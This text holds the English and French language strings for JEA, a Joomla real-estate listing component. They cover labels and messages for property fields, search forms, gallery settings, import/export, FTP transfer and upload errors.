COM_JEA_FIELD_IMAGES_LAYOUT_LABEL="Gallery layout"
COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_DESC="Set the number of image which
can be uploaded in one time"
COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_LABEL="Upload image number"
COM_JEA_FIELD_IMPORT_DIRECTORY_DESC="Import directory where to lookup
for zip archive containing jea export files."
COM_JEA_FIELD_IMPORT_DIRECTORY_LABEL="Import directory"
COM_JEA_FIELD_IMPORT_USER_DESC="The creator of the imported
properties."
COM_JEA_FIELD_IMPORT_USER_LABEL="Import user"
COM_JEA_FIELD_JEA_VERSION_DESC="Choose the version of JEA from where
you want to import data."
COM_JEA_FIELD_JEA_VERSION_LABEL="JEA version"
COM_JEA_FIELD_JOOMLA_PATH_DESC="Set the Joomla! base path where JEA is
installed. This field requires an absotute path."
COM_JEA_FIELD_JOOMLA_PATH_LABEL="Joomla path"
COM_JEA_FIELD_LAND_SPACE_LABEL="Land space"
COM_JEA_FIELD_LANGUAGE_DESC="The language that the item is assigned
to"
COM_JEA_FIELD_LATITUDE_LABEL="Latitude"
COM_JEA_FIELD_LIVING_SPACE_LABEL="Living space"
COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_DESC="Relationship
between departments, towns and areas could be deactivated or not. Activate
this option to optimize the performances if you have huge number of rows in
these tables."
COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_LABEL="Relationship
between departments, towns, areas"
COM_JEA_FIELD_LOGIN_BEHAVIOR_DESC="Set whether the login form should
appear before or after the recording of the property when the user is not
connected."
COM_JEA_FIELD_LOGIN_BEHAVIOR_LABEL="Login behavior"
COM_JEA_FIELD_LONGITUDE_LABEL="Longitude"
COM_JEA_FIELD_NOTES_DESC="You can enter notes related to this
property. They will not be visible in the public part of the site."
COM_JEA_FIELD_NOTES_LABEL="Private note"
COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL="Number of bathrooms"
COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL="Number of bedrooms"
COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL="Number of rooms"
COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL="Number of toilets"
COM_JEA_FIELD_ORIENTATION_LABEL="Orientation"
COM_JEA_FIELD_PHP_INTERPRETER_LABEL="PHP interpreter:"
COM_JEA_FIELD_PRICE_LABEL="Price"
COM_JEA_FIELD_PRICE_RENT_LABEL="Rent"
COM_JEA_FIELD_PRIMARY_ORDER_DESC="Column that determines the order in
which elements are displayed"
COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_DESC="Ordering direction on
which the items will be displayed in"
COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_LABEL="Primary order
direction"
COM_JEA_FIELD_PRIMARY_ORDER_LABEL="Primary order"
COM_JEA_FIELD_PRINT_ICON_LABEL="Print icon"
COM_JEA_FIELD_PROPERTIES_PER_STEP_DESC="The number of properties
processed during each import AJAX request."
COM_JEA_FIELD_PROPERTIES_PER_STEP_LABEL="Properties per step"
COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL="Property availability"
COM_JEA_FIELD_PROPERTY_TYPES_FILTER_DESC="Filter on property
types"
COM_JEA_FIELD_PROPERTY_TYPES_FILTER_LABEL="Property types"
COM_JEA_FIELD_PROPERTY_TYPE_LABEL="Property type"
COM_JEA_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing
the property."
COM_JEA_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing"
COM_JEA_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing
the property."
COM_JEA_FIELD_PUBLISH_UP_LABEL="Start Publishing"
COM_JEA_FIELD_RATE_FREQUENCY_LABEL="Rate frequency"
COM_JEA_FIELD_REF_DESC="The property reference"
COM_JEA_FIELD_REF_LABEL="Reference"
COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL="Search on amenities"
COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL="Search on areas"
COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL="Search on budget"
COM_JEA_FIELD_SEARCHFORM_CONDITION_LABEL="Search on property
conditions"
COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_DESC="Set the default
location that will be displayed in the the map (eg. «France»)"
COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_LABEL="Default map
area"
COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL="Search on
departments"
COM_JEA_FIELD_SEARCHFORM_FLOOR_LABEL="Search on floor"
COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_DESC="Free search on property
title or ref"
COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_LABEL="Free text search"
COM_JEA_FIELD_SEARCHFORM_HEATING_TYPES_LABEL="Search on heating
type"
COM_JEA_FIELD_SEARCHFORM_HOT_WATER_TYPES_LABEL="Search on hot water
type"
COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL="Search on land space"
COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL="Search on living
space"
COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_DESC="Set the map height"
COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_LABEL="Map height"
COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_DESC="Set the map width"
COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_LABEL="Map width"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BATHROOMS_LABEL="Search on number
of bathrooms"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL="Search on number of
bedrooms"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL="Search on number of
rooms"
COM_JEA_FIELD_SEARCHFORM_ORIENTATION_LABEL="Search on
orientation"
COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL="Search on towns"
COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC="Set if you want search
only on one transaction type"
COM_JEA_FIELD_SEARCHFORM_ZIP_CODES_LABEL="Search on zip codes"
COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_DESC="Send email to the author of
the property."
COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_LABEL="Send email to author"
COM_JEA_FIELD_SEND_OVER_FTP_DESC="Send zip archive over FTP."
COM_JEA_FIELD_SEND_OVER_FTP_LABEL="Send over FTP"
COM_JEA_FIELD_SHOW_CREATION_DATE_LABEL="Show creation date"
COM_JEA_FIELD_SLOGAN_LABEL="Slogan"
COM_JEA_FIELD_SORT_BY_AREA_DESC="Display or not the sort by area
button"
COM_JEA_FIELD_SORT_BY_AREA_LABEL="Sort by area"
COM_JEA_FIELD_SORT_BY_DATE_DESC="Display or not the sort by date
button"
COM_JEA_FIELD_SORT_BY_DATE_LABEL="Sort by date"
COM_JEA_FIELD_SORT_BY_DEPARTMENT_DESC="Display or not the sort by
department button"
COM_JEA_FIELD_SORT_BY_DEPARTMENT_LABEL="Sort by department"
COM_JEA_FIELD_SORT_BY_LAND_SPACE_DESC="Display or not the sort by land
space button"
COM_JEA_FIELD_SORT_BY_LAND_SPACE_LABEL="Sort by land space"
COM_JEA_FIELD_SORT_BY_LIVING_SPACE_DESC="Display or not the sort by
living space button"
COM_JEA_FIELD_SORT_BY_LIVING_SPACE_LABEL="Sort by living space"
COM_JEA_FIELD_SORT_BY_POPULARITY_DESC="Display or not the sort by
popularity button"
COM_JEA_FIELD_SORT_BY_POPULARITY_LABEL="Sort by popularity"
COM_JEA_FIELD_SORT_BY_PRICE_DESC="Display or not the sort by price
button"
COM_JEA_FIELD_SORT_BY_PRICE_LABEL="Sort by price"
COM_JEA_FIELD_SORT_BY_TOWN_DESC="Display or not the sort by town
button"
COM_JEA_FIELD_SORT_BY_TOWN_LABEL="Sort by town"
COM_JEA_FIELD_SURFACE_UNIT_DESC="Square meter or Square foot"
COM_JEA_FIELD_SURFACE_UNIT_LABEL="Surface unit"
COM_JEA_FIELD_SYMBOL_POSITION_DESC="Sets the position of the currency
symbol."
COM_JEA_FIELD_SYMBOL_POSITION_LABEL="Symbol position"
COM_JEA_FIELD_THOUSANDS_SEPARATOR_DESC="Sets the thousands separator
used to format numbers in the application."
COM_JEA_FIELD_THOUSANDS_SEPARATOR_LABEL="Thousands Separator"
COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_DESC="Set the medium thumbnails
height."
COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_LABEL="Medium thumbnails
height."
COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_DESC="Set the medium thumbnails
width."
COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_LABEL="Medium thumbnails width."
COM_JEA_FIELD_THUMB_MIN_HEIGHT_DESC="Set the small thumbnails
height."
COM_JEA_FIELD_THUMB_MIN_HEIGHT_LABEL="Small thumbnails height."
COM_JEA_FIELD_THUMB_MIN_WIDTH_DESC="Set the small thumbnails
width."
COM_JEA_FIELD_THUMB_MIN_WIDTH_LABEL="Small thumbnails width."
COM_JEA_FIELD_THUMB_QUALITY_DESC="The thumbnail quality corresponds to
the JPEG compression. The values range go from 0 to 100 (best
quality)."
COM_JEA_FIELD_THUMB_QUALITY_LABEL="Thumbnail quality"
COM_JEA_FIELD_TOWN_FILTER_DESC="Filter on town"
COM_JEA_FIELD_TOWN_LABEL="Town"
COM_JEA_FIELD_TRANSACTION_TYPE_LABEL="Transaction type"
COM_JEA_FIELD_TYPE_LABEL="Property type"
COM_JEA_FIELD_USE_AJAX_DESC="This option refreshes the form lists and
displays the number of properties, interacting with the user choice."
COM_JEA_FIELD_USE_AJAX_LABEL="Use AJAX"
COM_JEA_FIELD_USE_CAPTCHA_DESC="Use captcha image validation on the
contact form"
COM_JEA_FIELD_USE_CAPTCHA_LABEL="Use captcha"
COM_JEA_FIELD_ZIP_CODE_LABEL="Zip code"
COM_JEA_FIELD_ZIP_NAME_DESC="The name of the zip archive containing
the export files."
COM_JEA_FIELD_ZIP_NAME_LABEL="Zip name"
COM_JEA_FINANCIAL_INFORMATIONS="Financial informations"
COM_JEA_FORUM="Forum"
COM_JEA_GATEWAYS="Gateways"
COM_JEA_GATEWAY_DOWNLOAD_ZIP="Download Zip"
COM_JEA_GATEWAY_ERROR_CANNOT_EXTRACT_ZIP="Cannot extract zip archive :
%s"
COM_JEA_GATEWAY_ERROR_EXPORT_DIRECTORY_CANNOT_BE_CREATED="The export
directory %s cannot be created"
COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_CONNECT_TO_HOST="Unable to connect
to FTP host : %s"
COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_LOGIN="FTP: Unable to login"
COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_SEND_FILE="FTP: Unable to send
file"
COM_JEA_GATEWAY_ERROR_IMPORT_DIRECTORY_NOT_FOUND="Import directory :
%s not found"
COM_JEA_GATEWAY_ERROR_IMPORT_NO_ZIP_FOUND="No zip found in import
directory : %s"
COM_JEA_GATEWAY_ERROR_ZIP_CREATION="Zip archive %s cannot be
created"
COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL="Provider"
COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS="Successful FTP Transfer"
COM_JEA_GATEWAY_IMPORT_TIME_ELAPSED="Elapsed time: %d sec."
COM_JEA_GATEWAY_IMPORT_TIME_REMAINING="Remaining time: %d sec."
COM_JEA_GATEWAY_PARAMS="Gateway parameters"
COM_JEA_GATEWAY_PARAMS_APPEAR_AFTER_SAVE="Parameters will appear after
the gateway is saved."
COM_JEA_GATEWAY_PROPERTIES_CREATED="Properties created: %s"
COM_JEA_GATEWAY_PROPERTIES_DELETED="Properties deleted: %s"
COM_JEA_GATEWAY_PROPERTIES_FOUND="Properties found: %s"
COM_JEA_GATEWAY_PROPERTIES_UPDATED="Properties updated: %s"
COM_JEA_HEADING_FEATURES_IMPORT_CSV="Import CSV file"
COM_JEA_HEADING_FEATURES_LIST_NAME="List name"
COM_JEA_HEIGHT="height"
COM_JEA_IMPORT="Import"
COM_JEA_IMPORT_AJAX="AJAX import"
COM_JEA_IMPORT_CLI="CLI import"
COM_JEA_IMPORT_END_MESSAGE="Import completed for: %s"
COM_JEA_IMPORT_FROM_CSV="Import from CSV"
COM_JEA_IMPORT_FROM_JEA="Import from JEA"
COM_JEA_IMPORT_FROM_JEA_DESC="The goal of this tool is to import data
from another installation of JEA."
COM_JEA_IMPORT_LAUNCH="Start Import"
COM_JEA_IMPORT_PARAMETERS="Import parameters"
COM_JEA_IMPORT_START_MESSAGE="Import started for: %s"
COM_JEA_JOOMLA_CONFIGURATION_FILE_NOT_FOUND="The Joomla! configuration
file was not found"
COM_JEA_LAUNCH="Launch"
COM_JEA_LICENCE="License"
COM_JEA_LIST_OF_AMENITY_TITLE="Amenities"
COM_JEA_LIST_OF_AREA_TITLE="Areas"
COM_JEA_LIST_OF_CONDITION_TITLE="Properties conditions"
COM_JEA_LIST_OF_DEPARTMENT_TITLE="Departments"
COM_JEA_LIST_OF_HEATINGTYPE_TITLE="Heating types"
COM_JEA_LIST_OF_HOTWATERTYPE_TITLE="Hot water types"
COM_JEA_LIST_OF_SLOGAN_TITLE="Slogans"
COM_JEA_LIST_OF_TOWN_TITLE="Towns"
COM_JEA_LIST_OF_TYPE_TITLE="Property types"
COM_JEA_LOCALIZATION="Localization"
COM_JEA_LOGO="Logo"
COM_JEA_LOGS="Logs"
COM_JEA_MAIN_DEVELOPER="Main developer"
COM_JEA_MAP_MARKER_LABEL="Drag and drop the marker to setup your
position"
COM_JEA_MAP_OPEN="Open the map"
COM_JEA_MENU_PARAMS_LABEL="JEA parameters"
COM_JEA_MESSAGE_CONFIRM_DELETE="Are you sure you want to delete this
or these item(s)?"
COM_JEA_MSG_SELECT_PROPERTY_TYPE="Select a type of property"
COM_JEA_NEW_PROPERTY="New property"
COM_JEA_NOTES="Notes"
COM_JEA_NO_ITEM_SELECTED="No item selected"
COM_JEA_NUM_LINES_IMPORTED_ON_TABLE="%s line(s) imported on table
%s"
COM_JEA_N_ITEMS_CHECKED_IN="%d item(s) successfully checked in"
COM_JEA_N_ITEMS_COPIED="%s item(s) successfully copied"
COM_JEA_N_ITEMS_DELETED="%s item(s) successfully deleted"
COM_JEA_N_ITEMS_PUBLISHED="%s item(s) successfully published"
COM_JEA_N_ITEMS_UNPUBLISHED="%s item(s) successfully unpublished"
COM_JEA_OPTION_AFTER_PRICE="After price"
COM_JEA_OPTION_BEFORE_PRICE="Before price"
COM_JEA_OPTION_DAILY="Daily"
COM_JEA_OPTION_EAST="East"
COM_JEA_OPTION_EAST_WEST="East west"
COM_JEA_OPTION_FILE="File"
COM_JEA_OPTION_LOGIN_AFTER_SAVE="Login after save"
COM_JEA_OPTION_LOGIN_BEFORE_SAVE="Login before save"
COM_JEA_OPTION_MONTHLY="Monthly"
COM_JEA_OPTION_NORTH="North"
COM_JEA_OPTION_NORTH_EAST="Northeast"
COM_JEA_OPTION_NORTH_SOUTH="North south"
COM_JEA_OPTION_NORTH_WEST="Northwest"
COM_JEA_OPTION_ORDER_ASCENDING="Ascending order"
COM_JEA_OPTION_ORDER_DESCENDING="Descending order"
COM_JEA_OPTION_RENTING="Renting"
COM_JEA_OPTION_SELLING="Selling"
COM_JEA_OPTION_SOUTH="South"
COM_JEA_OPTION_SOUTH_EAST="Southeast"
COM_JEA_OPTION_SOUTH_WEST="Southwest"
COM_JEA_OPTION_URL="URL"
COM_JEA_OPTION_WEEKLY="Weekly"
COM_JEA_OPTION_WEST="West"
COM_JEA_PICTURES="Pictures"
COM_JEA_PRICE_PER_FREQUENCY_DAILY=" / day"
COM_JEA_PRICE_PER_FREQUENCY_MONTHLY=" / month"
COM_JEA_PRICE_PER_FREQUENCY_WEEKLY=" / week"
COM_JEA_PROJECT_HOME="Project home"
COM_JEA_PROPERTIES_CREATED="%d created properties"
COM_JEA_PROPERTIES_FOUND_TOTAL="Total found : %d properties"
COM_JEA_PROPERTIES_MANAGEMENT="Manage properties"
COM_JEA_PROPERTIES_SEARCH_FILTER_DESC="Search by ref, ID, title or
author"
COM_JEA_PROPERTIES_UPDATED="%d updated properties"
COM_JEA_PUBLICATION_INFO="Publication info"
COM_JEA_START_IMPORT="Start import"
COM_JEA_TOOLS="Tools"
COM_JEA_UPLOAD_DESTINATION_DIRECTORY_DOESNT_EXISTS="Failed to upload
the file because the destination directory doesn't exists."
COM_JEA_UPLOAD_DESTINATION_DIRECTORY_NOT_WRITABLE="Failed to upload
the file because the destination directory is not writable."
COM_JEA_UPLOAD_DESTINATION_FILE_ALREADY_EXISTS="Failed to upload the
file because the destination file already exists."
COM_JEA_UPLOAD_DESTINATION_FILE_NOT_WRITABLE="Failed to upload the
file because the destination file already exists and is not writable."
COM_JEA_UPLOAD_ERR_CANT_WRITE="Failed to write temporary uploaded file
to disk."
COM_JEA_UPLOAD_ERR_NO_TMP_DIR="Missing a temporary folder to upload
the file."
COM_JEA_UPLOAD_ERR_PARTIAL="The uploaded file was only partially
uploaded."
COM_JEA_UPLOAD_ERR_SIZE="The uploaded file exceeds the maximum size
allowed."
COM_JEA_UPLOAD_FILE_EXTENSION_NOT_PERMITTED="The uploaded file
extension is not permitted."
COM_JEA_UPLOAD_UNKNOWN_ERROR="Unknown error : Failed to upload the
file."
COM_JEA_VERSIONS="Versions"
COM_JEA_WIDTH="width"

JGLOBAL_NUMBER_ITEMS_LIST_DESC="The default number of properties
listed in one page of results"
JGLOBAL_NUMBER_ITEMS_LIST_LABEL="List limit"


language/fr-FR/fr-FR.com_jea.ini000064400000051223151165174020012261
0ustar00; @author     Sylvain Philip
; @copyright  (C) 2008 - 2020 PHILIP Sylvain. All rights reserved.
; @license    http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; @note       Complete
; @note       All ini files need to be saved as UTF-8

COM_JEA_ABOUT="À propos"
COM_JEA_ACCESS_DELETE_DESC="Droit de suppression pour ce bien."
COM_JEA_ACCESS_EDITSTATE_DESC="Droit de modification du statut pour ce
bien."
COM_JEA_ACCESS_EDIT_DESC="Droit de modification pour ce bien."
COM_JEA_AMENITIES="Équipements"
COM_JEA_CONFIG_GENERAL="Général"
COM_JEA_CONFIG_LIST="Affichage de la liste"
COM_JEA_CONFIG_PICTURES="Photos"
COM_JEA_CONFIG_PROPERTY="Affichage du bien"
COM_JEA_COPY="Copier"
COM_JEA_CREDITS="Crédits"
COM_JEA_DETAILS="Détails"
COM_JEA_DIRECTORY_NOT_FOUND="Le répertoire : %s n'a pas été
trouvé."
COM_JEA_DOCUMENTATION="Documentation"
COM_JEA_DOWNLOAD="Télécharger"
COM_JEA_EDIT_PROPERTY="Modifier le bien ID:% s"
COM_JEA_EDIT_USER="Modifier l'utilisateur"
COM_JEA_ERROR_CANNOT_CREATE_DIR="Impossible de créer le répertoire :
%s"
COM_JEA_EXPORT="Exporter"
COM_JEA_EXPORT_AJAX="Export en AJAX"
COM_JEA_EXPORT_CLI="Export par la ligne de commande"
COM_JEA_EXPORT_END_MESSAGE="Export terminé pour : %s (%d biens
exportés)"
COM_JEA_EXPORT_LAUNCH="Lancer l'exportation"
COM_JEA_EXPORT_START_MESSAGE="Export en cours pour : %s"
COM_JEA_FEATURES_MANAGEMENT="Gérer les critères"
COM_JEA_FEATURES_UPDATED_WARNING="Attention : Certains éléments
(encadrés en rouge) ont été rechargé pour la langue
sélectionnée."
COM_JEA_FIELDSET_RULES="Autorisations pour cette annonce"
COM_JEA_FIELD_ADDRESS_LABEL="Adresse"
COM_JEA_FIELD_AMENITY_LABEL="Équipement"
COM_JEA_FIELD_AREA_FILTER_DESC="Filtrer sur un quartier"
COM_JEA_FIELD_AREA_LABEL="Quartier"
COM_JEA_FIELD_AUTO_DELETE_PROPERTIES_DESC="Supprime automatiquement
les biens JEA non contenus dans l'import"
COM_JEA_FIELD_AUTO_DELETE_PROPERTIES_LABEL="Supprimer les biens"
COM_JEA_FIELD_CHARGES_LABEL="Charges"
COM_JEA_FIELD_COMMAND_LABEL="Commande :"
COM_JEA_FIELD_CONDITION_LABEL="État du bien"
COM_JEA_FIELD_CONTACT_FORM_DESC="Afficher ou masquer le formulaire de
contact"
COM_JEA_FIELD_CONTACT_FORM_LABEL="Formulaire de contact"
COM_JEA_FIELD_CREATED_BY_DESC="Vous pouvez modifier ici le nom de
l'utilisateur qui a créé le bien."
COM_JEA_FIELD_CROP_THUMBNAILS_DESC="Recadrer les photos pour
s'adapter toujours à la même largeur et à la même hauteur."
COM_JEA_FIELD_CROP_THUMBNAILS_LABEL="Recadrer les photos"
COM_JEA_FIELD_CURRENCY_SYMBOL_LABEL="Symbole monétaire"
COM_JEA_FIELD_DECIMALS_NUMBER_DESC="Définit le nombre de décimales
après la virgule pour formater les nombres dans l'application."
COM_JEA_FIELD_DECIMALS_NUMBER_LABEL="Nombre de décimales"
COM_JEA_FIELD_DECIMALS_SEPARATOR_DESC="Définit le séparateur de
décimale des nombres dans l'application."
COM_JEA_FIELD_DECIMALS_SEPARATOR_LABEL="Séparateur de
décimales"
COM_JEA_FIELD_DEFAULT_RECIPTIENT_DESC="Définit l'email du
destinataire par défaut pour le formulaire de contact"
COM_JEA_FIELD_DEFAULT_RECIPTIENT_LABEL="Destinataire par défaut"
COM_JEA_FIELD_DEPARTMENT_FILTER_DESC="Filtrer sur un
département"
COM_JEA_FIELD_DEPARTMENT_LABEL="Département"
COM_JEA_FIELD_DEPOSIT_LABEL="Dépôt de garantie"
COM_JEA_FIELD_EXPORT_DIRECTORY_DESC="Le répertoire de destination
pour les fichiers exportés"
COM_JEA_FIELD_EXPORT_DIRECTORY_LABEL="Répertoire
d'exportation"
COM_JEA_FIELD_EXPORT_IMAGE_AS_DESC="Exporter les images en tant que
fichiers ou en tant qu'URLs"
COM_JEA_FIELD_EXPORT_IMAGE_AS_LABEL="Exporter les images comme"
COM_JEA_FIELD_FEATURED_DESC="Le marqueur vedette est utilisé pour
mettre en avant le bien sur le site."
COM_JEA_FIELD_FEES_LABEL="Honoraires"
COM_JEA_FIELD_FLOORS_NUMBER_LABEL="Nombre d'étages"
COM_JEA_FIELD_FLOOR_LABEL="Étage"
COM_JEA_FIELD_FTP_HOST_DESC="Le nom de l'hôte FTP"
COM_JEA_FIELD_FTP_HOST_LABEL="Hôte FTP"
COM_JEA_FIELD_FTP_PASSWORD_DESC="Le mot de passe du compte FTP pour
cet hôte"
COM_JEA_FIELD_FTP_PASSWORD_LABEL="Mot de passe"
COM_JEA_FIELD_FTP_USERNAME_DESC="Le nom d'utilisateur du compte
FTP pour cet hôte"
COM_JEA_FIELD_FTP_USERNAME_LABEL="Nom d'utilisateur"
COM_JEA_FIELD_GALLERY_ORIENTATION_DESC="<strong>Vertical</strong>
: les images de la galerie sont disposées verticalement à côté de
l'image principale.<br /><strong>Horizontal</strong>
: les images de la galerie sont disposées horizontalement sous
l'image principale."
COM_JEA_FIELD_GALLERY_ORIENTATION_LABEL="Orientation de la
galerie"
COM_JEA_FIELD_GEOLOCALIZATION_LABEL="Géolocalisation"
COM_JEA_FIELD_GOOGLE_MAP_DESC="Afficher ou masquer la Google map"
COM_JEA_FIELD_GOOGLE_MAP_LABEL="Google map"
COM_JEA_FIELD_GOOGLE_MAP_API_KEY_DESC="Une clé d'API est
obligatoire pour pouvoir utiliser le service Google Map."
COM_JEA_FIELD_GOOGLE_MAP_API_KEY_LABEL="Clé d'API Google
Map"
COM_JEA_FIELD_GOOGLE_MAP_API_KEY_MORE_INFO="<a
href="_QQ_"https://developers.google.com/maps/documentation/javascript/get-api-key?hl=Fr"_QQ_"
target="_blank">Comment obtenir une clé
d'API</a>"
COM_JEA_FIELD_HEATINGTYPE_LABEL="Type de chauffage"
COM_JEA_FIELD_HITS_DESC="Nombre de clics pour ce bien"
COM_JEA_FIELD_HOTWATERTYPE_LABEL="Type d'eau chaude"
COM_JEA_FIELD_IMAGES_LAYOUT_DESC="Choisissez la disposition de la
galerie"
COM_JEA_FIELD_IMAGES_LAYOUT_LABEL="Mise en page de la galerie"
COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_DESC="Définit le nombre
d'images pouvant être uploadées en une fois"
COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_LABEL="Nombre d'uploads
simultanés"
COM_JEA_FIELD_IMPORT_DIRECTORY_DESC="Répertoire où rechercher les
fichiers zip à extraire contenant les fichiers d'exportation de
JEA"
COM_JEA_FIELD_IMPORT_DIRECTORY_LABEL="Répertoire
d'importation"
COM_JEA_FIELD_IMPORT_USER_DESC="L'utilisateur Joomla créateur
des annonces importées"
COM_JEA_FIELD_IMPORT_USER_LABEL="Utilisateur"
COM_JEA_FIELD_JEA_VERSION_DESC="Choisir la version de JEA à partir de
laquelle vous souhaitez importer les données."
COM_JEA_FIELD_JEA_VERSION_LABEL="Version de JEA"
COM_JEA_FIELD_JOOMLA_PATH_DESC="Entrez le chemin du répertoire racine
de Joomla! où JEA est installé. Ce chemin doit être un chemin absolu sur
votre système."
COM_JEA_FIELD_JOOMLA_PATH_LABEL="Répertoire de Joomla"
COM_JEA_FIELD_LAND_SPACE_LABEL="Surface terrain"
COM_JEA_FIELD_LANGUAGE_DESC="La langue pour cet enregistrement"
COM_JEA_FIELD_LATITUDE_LABEL="Latitude"
COM_JEA_FIELD_LIVING_SPACE_LABEL="Surface habitable"
COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_DESC="Activer cette
option afin d'optimiser les performances si vous avez un nombre
élevé d'enregistrements dans ces tables."
COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_LABEL="Relation entre
départements, villes et quartiers"
COM_JEA_FIELD_LOGIN_BEHAVIOR_DESC="Définir si le formulaire de
connexion doit apparaître avant ou après l'enregistrement du bien
lorsque l'utilisateur n'est pas connecté."
COM_JEA_FIELD_LOGIN_BEHAVIOR_LABEL="Connexion"
COM_JEA_FIELD_LONGITUDE_LABEL="Longitude"
COM_JEA_FIELD_NOTES_DESC="Vous pouvez entrer des notes liées à ce
bien. Elles ne seront pas visibles dans la partie publique du site."
COM_JEA_FIELD_NOTES_LABEL="Note privée"
COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL="Nombre de salles de
bains"
COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL="Nombre de chambres"
COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL="Nombre de pièces"
COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL="Nombre de wc"
COM_JEA_FIELD_ORIENTATION_LABEL="Exposition"
COM_JEA_FIELD_PHP_INTERPRETER_LABEL="Interpréteur PHP :"
COM_JEA_FIELD_PRICE_LABEL="Prix"
COM_JEA_FIELD_PRICE_RENT_LABEL="Loyer"
COM_JEA_FIELD_PRIMARY_ORDER_DESC="Colonne qui détermine l'ordre
dans lequel les bien seront affichés par défaut"
COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_DESC="Définit la direction du
tri"
COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_LABEL="Direction"
COM_JEA_FIELD_PRIMARY_ORDER_LABEL="Ordre d'affichage"
COM_JEA_FIELD_PRINT_ICON_LABEL="Icône d'impression"
COM_JEA_FIELD_PROPERTIES_PER_STEP_DESC="Nombre de biens traités par
requête AJAX."
COM_JEA_FIELD_PROPERTIES_PER_STEP_LABEL="Nombre de biens par requête
AJAX"
COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL="Disponibilité du
bien"
COM_JEA_FIELD_PROPERTY_TYPES_FILTER_DESC="Filtre sur un ou plusieurs
types de bien"
COM_JEA_FIELD_PROPERTY_TYPES_FILTER_LABEL="Filtrer sur des types de
bien"
COM_JEA_FIELD_PROPERTY_TYPE_LABEL="Type de bien"
COM_JEA_FIELD_PUBLISH_DOWN_DESC="Indiquez si nécessaire une date de
fin de publication.<br />Si vous n'indiquez rien, l'annonce
ne sera pas automatiquement dépublié (le système mettant la valeur
'0000-00-00 00:00:00')."
COM_JEA_FIELD_PUBLISH_DOWN_LABEL="Fin de publication"
COM_JEA_FIELD_PUBLISH_UP_DESC="Indiquez si nécessaire une date de
début de publication.<br />Si vous n'indiquez rien, la date de
création est utilisée."
COM_JEA_FIELD_PUBLISH_UP_LABEL="Début de publication"
COM_JEA_FIELD_RATE_FREQUENCY_LABEL="Fréquence"
COM_JEA_FIELD_REF_DESC="La référence du bien"
COM_JEA_FIELD_REF_LABEL="Référence"
COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL="Rechercher des
équipements"
COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL="Rechercher quartiers"
COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL="Rechercher budget"
COM_JEA_FIELD_SEARCHFORM_CONDITION_LABEL="Rechercher états de
bien"
COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_DESC="Définit
l'emplacement par défaut qui s'affichera dans le la carte (par
exemple. « France »)"
COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_LABEL="Région de la carte
par défaut"
COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL="Rechercher
département"
COM_JEA_FIELD_SEARCHFORM_FLOOR_LABEL="Rechercher étage"
COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_DESC="Recherche libre basée sur
le titre ou la référence de l'annonce"
COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_LABEL="Recherche en texte
libre"
COM_JEA_FIELD_SEARCHFORM_HEATING_TYPES_LABEL="Rechercher type de
chauffage"
COM_JEA_FIELD_SEARCHFORM_HOT_WATER_TYPES_LABEL="Rechercher type
d'eau chaude "
